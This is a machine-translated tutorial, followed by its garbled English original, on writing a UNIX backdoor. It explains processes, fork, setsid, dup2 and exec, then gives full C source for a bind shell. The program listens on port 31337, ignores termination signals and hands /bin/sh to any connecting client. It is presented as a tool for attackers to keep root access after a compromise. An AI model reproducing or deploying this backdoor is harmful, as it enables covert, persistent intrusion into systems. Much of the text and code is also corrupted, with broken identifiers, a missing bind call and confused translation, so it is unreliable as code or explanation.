Seven Coding An Inbound Shell Daemon REV. 1.0
I. Introduction:
My translation series of articles, I am very worried that there is an error in the wrong place, but I still have to do it. I translated by my understanding. If my understanding is wrong, maybe I don't understand the part. If you accidentally translate, it will inevitably give you more misleading, so I attach the original text behind the article. Please read the comparison of the original text! The most important thing is to understand, don't just look at my words.
Second. Text:
] Prerequisites: This paper assumes readers to read and understand Turncode security developments: Coding a TCP Connect Port Scanner: Step by Step Written by Modular, or already have a base programming.
The reader should also naturally have the foundation C programming technology.
] Introduction: In jeopardizing a secure UNIX system security, a skilled attacker will create a back door for future entry. This paper analyzes the writing of a back door by breaking a necessary one of the necessary an inbound back door Rootshell code. . Writing a back door back Shell is an easy process. This program itself is usually not more than 100 lines. It may begin to increase the increase in new functions, such as encryption, system determination, and error control.
] Processing authentication: A process is basically a running program. This running program has some basic properties worth noting: 1. A program has a state of the currently known current up and down environment. 2. Access file and Permissions for the directory 3. Memory and system resources 4. The current work directory has a process ID and a parent process ID. Process ID is labeled with actual integers. All processes have a progress number 1. This is The well-known init process, the system starts from the core, initiates any necessary system programs and background programs. When writing a background program, understanding how the process IDs work is important between the parent and sub-process.
Print a process number, the function you need for a parent and sub-process is getPid () and getppid (). Although these functions are not the last program for this papers, it will help further clarify how the IDS process works, getPid () And getPPID () prototypes as follows: ---------------------------------------- ----------------------------------- # include
PID_T getPID (Void); PID_T getppid (Void);
-------------------------------------------------- ------------------------- For getpid () and getppid () prototype, unistd.h header file is necessary .GetPid () returns to call Process and getppid () The parent process of the process is like this: ------------------------------------- ----------------------------------- # include
#include
#include
INT main (void) {Printf ("% d / n", getpid ()); Printf ("% d / n", getppid ());
Return 0;}
-------------------------------------------------- ----------------------
] Father / child process:
- Process group According to early regulations, each process has a process ID. Process can be connected to a command pipeline, want to do this: Modular @ Visioncode: ~ / src $ ps -aux | Grep -V Grep | GREP User | awk ' {Print $ 2} '| xargs kill -9 a related process group is to provide a process group ID. For all of these related processes at a time, the script must be able to end the group ID instead of each process ID.
- Session a series of related process groups well known as a session, the leader of the session is a session inventor. The session leader has a process ID. A session will be used as an example, when many background programs are running in a terminal and a terminal Closed, then all of the background processes will then be killed.
- Father / child process
The program can be written down to add new processes from themselves. This original process is a well-known parent process and any new process of any newly called sub-process. To add new process fork (2) to use, fork 2) The prototype may be: ------------------------------------------ -------------------------------- # include
PID_T fork (void); -------------------------------------------- ------------------------------- When Fork (2) is successful, it will return a child process ID belonging to the parent process. The success return value is 0.
] UNIX Backstage Program
A background process is a program that is no longer connected to a raw terminal session that starts it. To make a program becomes a background program, there are several steps:
1.Fork (2) The function is used to kill the parent process, leaving the original command line or Shell as a child process control. This guarantee child process does not become a group session boot.
2.SetsID (2) The function is used to generate sub-process and group session boots. At this point, the child process has separated from any controlled terminal.
Examples of a basic background program may be as follows: -------------------------------------------------------------------------------------- -------------------------------------- Int main (void) {pid_t pid;
IF ((pID = fork ()) <0) return (-1); Else if (PID! = 0) exit (0); / * Parent gets killed here * /
/ * Child Process Continues on from this point * setsid (2) Makes the child a session leader * without a controling terminal * / setsid ();
/ * REST OF Source Code to Perform Tasks in the Background * /
} ------------------------------------- -----------------------------
] Copy Socket:
DUP2 (2) Function Copy a file descriptor. After a shell is a background program, to call DUP2 (2) to copy the descriptor 0, 1, 2, 2, 2, 2, 2, 2, respectively, the descriptor 0, 1, 2 is a standard Enter, standard output, and standard errors. At that time, the original socket descriptor needs to be turned off. This allows this sub-process to handle socket. Use standard input (0), standard output (1), standard error (2).
] EXEC function:
Fork (2), as previous provisions, create a complete new process, generate a complete new PID. The EXEC function allows a programmer to initiate a program, this replacement of the original process; PID reserves the same resource. The Exec function is traditionally used in the back door to generate a shell by calling / bin / sh.
In the following example, Execlp (3) is used to execute a SH command. Replacing the original shell with a new shell and maintain the same PID:
-------------------------------------------------- ---------------------------- # include
#include
#include
INT main (void) {char args [] = {"/ bin / sh", "-i"}; / * arguments for sh * /
IF (Execlp ("/ Bin / SH", Args, NULL) == -1) {PERROR ("Execlp"); exit_failure;}
Printf ("How Did We get here?"); exit_success);} -------------------------------- ----------------------------------------------
Execlp (3) acquires the path name BIN / SH as its first parameter, the following list parameters, followed by the parameter list, and finally terminated with NULL.
] Intrioped shell background example:
The following program is a work-running simple back door to run as a background:
/ * vcshell.c - Remote daemon shell * Written by: Modular@truncode.org * / # include
#include
#include
#include
#include
#include
#include
#include
#include
#define port 31337 / * port to bind to * /
/ * Error Checking * /
Static void recoil (const char * help) {if (errno! = 0) {FPUTS (STRERROR (Errno), Stderr); FPUTS (":", stderr);} fputs (help, stderr); FPUTC ('/ N ', stderr); exit (1);
INT Main (int Argc, char * argv []) {int set_listen, socket_connect; / * server and client file descriptors * / struct sockaddr_in server_addr; struct sockaddr_in client_addr;
Socklen_t length; pid_t chpid;
IF ((Socket_Listen = Socket (AF_INET, SOCK_STREAM, 0)) <0) {Recoil ("socket ()"); Return (1);}
length = sizeof (server_addr); memset (& server_addr, 0, length); server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_family = AF_INET; server_addr.sin_port = htons (PORT); / * ignore all events that would kill the process * / SIGNAL (SIGCHLD, SIG_IGN); SIGNAL (SIGHUP, SIG_IGN); SIGNAL (SIGTERM, SIG_IGN); SIGNAL (SIGINT, SIG_IGN);
IF ((Socket_Listen, (Struct SockAddr *) & Server_addr, length))) {recoil ("bind ()"); RETURN (2);} if (listen (socket_listen, 1)) {recoil ("listen () "); return (3);
/ * for () INTO TWO Processes: * /
IF ((ChPID = fork ()) == (PID_T) -1) {recoil ("fork ()"); return (4);} else if (chpid> 0) {EXIT (exit_success); / * Kill THE PARENT * /}
Else IF (chpid == 0) {
Setsid (); / * CREATE A New session and make a daemon making the child a session leader * /
Length = sizeof (client_addr); if (socket_connect = accept (socket_listen, & client_addr, & length) <0) {recoil ("accept ()"); abort ();}
/ * Duplicate file descriptors to refer to original socket * / / * new descriptors gives the capability for user interaction * / dup2 (socket_connect, 0); dup2 (socket_connect, 1); dup2 (socket_connect, 2);
Execlp ("SH", "SH", "-i", NULL;
/ * SHUTDOWN EXISTING SOCKET and * DUPLICATED SOCKETS TOGETHER * / Shutdown (socket_connect, shut_rdwr);} exit (0);
} ------------------------------------- -----------------------------
3. Original:
Coding an inbound shell daemon revev. 1.0 _ _ | | _ ___ _ _ ___ ___ ___ _ | | | | | || _ | | | | | | | ||| | _ | ___ | ___ | ___ | ___ |
/ * Truncode security development * / http: //truncode.org
] Introduction:.. After compromising a system running UNIX and attaining root, a skilled attacker will create a backdoor for future logins This paper elaborates on coding a backdoor by breaking down the necessary code for an inbound daemon rootshell Coding a backdoor daemon shell is a RELATIVELY Easy Process. The Program Itself Is Usually No More ThanheadRed Lines. It May Begin To Grow When New FunctionAgities Are Added Such as Encryption, OS Definitions, And Error Control.
] Process Identification: a process is Basically a Running Program Has A FewBasic Attributes Worth Menting:
1. A Program Possess a Current Execution Status Known As It's Current Context
2. Access Rights to Directories and Files
3. Memory and System Resources
4. Current Working Directory
Each process has a process ID and a parent process ID. Process IDs are referred to by using positive integers. The father of all processes has a process ID of 1. This is known as the init process. After a systemboots from the kernel, init Starts Up Any Necessary System Programs andDaemons. It is important to understand how to process IDs Work with Parentand CHild Processes WHEN Coding a daemon.
Printing a process ID for parent and child requires functions getpid () and getppid (). Although, these functions are not needed for this paper's final program, it will help further clarify how process IDs work. The synopsis for getpid () and getppid ( IS as Follows: --------------------------------------------- -------------------------------- # included_t getpid; pid_t getppid (void);
-------------------------------------------------- ----------------------------
THE UNISTD.H Header File Is Needed by the getpid () and getpid () prototypes. Getpid () Returns the calling process and getppid () The Parent of That Process Like So: ------------ -------------------------------------------------- ---------------- # include
#include
#include
INT main (void) {Printf ("% d / n", getpid ()); Printf ("% d / n", getppid ());
Return 0;}
-------------------------------------------------- ----------------------------] Parent / Child Processes:
-Process Groups
AS Stated Earlier Each Process Has A Process ID. Processes Can Be Connected In A Command Pipeline Like SO:
Modular @ VISIONCODE: ~ / SRC $ PS -AUX | GREP -V GREP | GREP User | awk '{print $ 2}' | xargs kill -9
A Group of Related Processes Are Given a Process Group ID. In Order To Kill All these Related Processes At ONCE, The Shell Must Terminate The Group ID Rather Than Every Process ID.
-Sessions
A set of related process groups are known as a session. The session leader is the originator of the session. This session leader possesses a session ID. A session would be used for example when many background processes are running in a terminal and the terminal is Subsequently Killing All Background Processes.
-Parent / Child Processes
Programs can be written to create new processes from within themselves. The original process is known as the parent and any new processes are called child processes. In order to create a new process fork (2) must be used. The synopsis for fork (2 IS: ----------------------------------------------- ------------------------------ # includepid_t fork (void); ------------ -------------------------------------------------- ---------------- When fork (2) is successful, it will return the process id of the child process to the parent process. 0 is returned to the child process.
] UNIX Daemons:
A Daemon Process Is A Program No longer attes:
1. The fork (2) Function is used to kill the child process, leaving the child control of the original command-line or shell. This Guarantees the child Not to be a group session leader.
2. The setsid (2) Function is used to make the child process a process and group session leader. The child has disassociated itself from any controling terminal at this point.
A Basic Example of A Daemon Might Be As Follows:
-------------------------------------------------- --------------------------- int main (void) {PID_T PID;
IF ((pID = fork ()) <0) return (-1); Else if (PID! = 0) exit (0); / * Parent gets killed here * /
/ * Child Process Continues on from this point * setsid (2) Makes the child a session leader * without a controling terminal * / setsid ();
/ * REST OF Source Code to Perform Tasks in the Background * /
} ------------------------------------- -----------------------------] Duplicating sockets:
The dup2 (2) function duplicates a file descriptor. After making the shell into a daemon, it is necessary to have the child process call dup2 (2) three times in order to duplicate the socket on descriptors 0, 1, 2. Descriptors 0 , 1, and 2 are standard input, standard output, and standard error respectively. Then the original socket descriptor needs to be closed. This allows the child to use standard input (0), standard output (1), and standard error (2 ) with the socket.] EXEC FUENCTIONS:
fork (2), as previously stated, creates a completely new process, generating a completely new PID The exec functions allow a programmer to initiate a program, which replaces the original process;.. the PID stays the same An exec function is traditionally used IN a backdoor to spawn a shell by calling / bin / sh.
In The Following Example, Execlp (3) Is Used to Execute The SH Command, Replacing The Original Shell with a New Shell While Keeping The Same PID: ------------------- -------------------------------------------------- --------- # cDE
#include
#include
INT main (void) {char args [] = {"/ bin / sh", "-i"}; / * arguments for sh * /
IF (Execlp ("/ Bin / SH", Args, NULL) == -1) {PERROR ("Execlp"); exit_failure;}
Printf ("How Did We get here?"); exit_success);} -------------------------------- ----------------------------------------------
Execlp (3) Takes The Pathname to Bin / SH AS ITS First Argument, FOLLOWED by The a list of arguments, and finally terminated with a null.
] Inbound shell daemon Example:
The Following Program Is A Working Example of A Simple Backdoor Which Runs As a daem:
/ * vcshell.c - Remote daemon shell * Written by: Modular@truncode.org * / # includ # include
#include
#include
#include
#include
#include
#include
#include
#define port 31337 / * port to bind to * /
/ * Error Checking * /
Static void recoil (const char * help) {if (errno! = 0) {FPUTS (STRERROR (Errno), Stderr); FPUTS (":", stderr);} fputs (help, stderr); FPUTC ('/ N ', stderr); exit (1);
INT Main (int Argc, char * argv []) {int set_listen, socket_connect; / * server and client file descriptors * / struct sockaddr_in server_addr; struct sockaddr_in client_addr;
Socklen_t length; pid_t chpid;
IF ((Socket_Listen = Socket (AF_INET, SOCK_STREAM, 0)) <0) {Recoil ("socket ()"); Return (1);}
Length = sizeof (Server_addr); Memset (& Server_addr, 0, Length); Server_addr.sin_addr.s_addr = INADDR_Addr = INADDR_Addr.sin_Family = AF_ITD; Server_addr.sin_port = Htons (port);
/ * IGNORE All Events That Would Kill The Process * / Signal (SIGCHLD, SIG_IGN); SIGNAL (SIGHUP, SIG_IGN); SIGNAL (SIGTERM, SIG_IGN); SIGNAL (SIGINT, SIG_IGN);
IF ((Socket_Listen, (Struct SockAddr *) & Server_addr, length))) {recoil ("bind ()"); RETURN (2);} if (listen (socket_listen, 1)) {recoil ("listen () "); return (3);
/ * for () INTO TWO Processes: * /
IF ((ChPID = fork ()) == (PID_T) -1) {recoil ("fork ()"); return (4);} else if (chpid> 0) {EXIT (exit_success); / * Kill THE PARENT * /}
Else IF (chpid == 0) {
Setsid (); / * CREATE A New session and make a daemon making the child a session leader * /
length = sizeof (client_addr); if ((socket_connect = accept (socket_listen, & client_addr, & length)) <0) {recoil ( "accept ()"); abort ();} / * duplicate file descriptors to refer to original socket * / / * New Descriptor on the capability for user interaction * / dup2 (socket_connect, 0); DUP2 (socket_connect, 1); DUP2 (socket_connect, 2);
Execlp ("SH", "SH", "-i", NULL;
/ * SHUTDOWN EXISTING SOCKET and * DUPLICATED SOCKETS TOGETHER * / Shutdown (socket_connect, shut_rdwr);} exit (0);
} ------------------------------------- -----------------------------